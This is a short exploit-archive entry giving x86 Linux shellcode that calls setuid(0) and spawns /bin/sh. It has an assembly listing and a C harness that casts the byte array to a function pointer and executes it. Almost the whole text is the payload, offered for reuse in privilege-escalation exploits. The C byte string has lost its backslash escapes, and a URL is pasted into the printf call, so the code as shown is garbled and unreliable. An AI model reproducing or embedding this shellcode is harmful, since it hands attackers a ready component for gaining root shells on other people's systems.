-------------------[ASM]----------------------

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

-------------------[/ASM]----------------------

-------------------[C]----------------------

#include <stdio.h>

const char shellcode[]= "x31xdb"
            "x8dx43x17"
            "x99"
            "xcdx80"
            "x31xc9"
            "x51"
            "x68x6ex2fx73x68"
            "x68x2fx2fx62x69"
            "x8dx41x0b"
            "x89xe3"
            "xcdx80";

int main()
{
    printf <http://www.opengroup.org/onlinepubs/009695399/functions/printf.html>("nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
            "WITHOUT NULLS THAT SPAWNS A SHELL"
            "nnCoded by Chema Garcia (aka sch3m4)"
            "nt + sch3m4@opensec.es"
            "nt + http://opensec.es"
            "nn[+] Date: 29/11/2008"
            "n[+] Thanks to: vlan7"
            "nn[+] Shellcode Size: %d bytesnn",
            sizeof(shellcode)-1);

    (*(void (*)()) shellcode)();

    return 0;
}

-------------------[C]---------------------- 

# www.Syue.com [2008-11-13]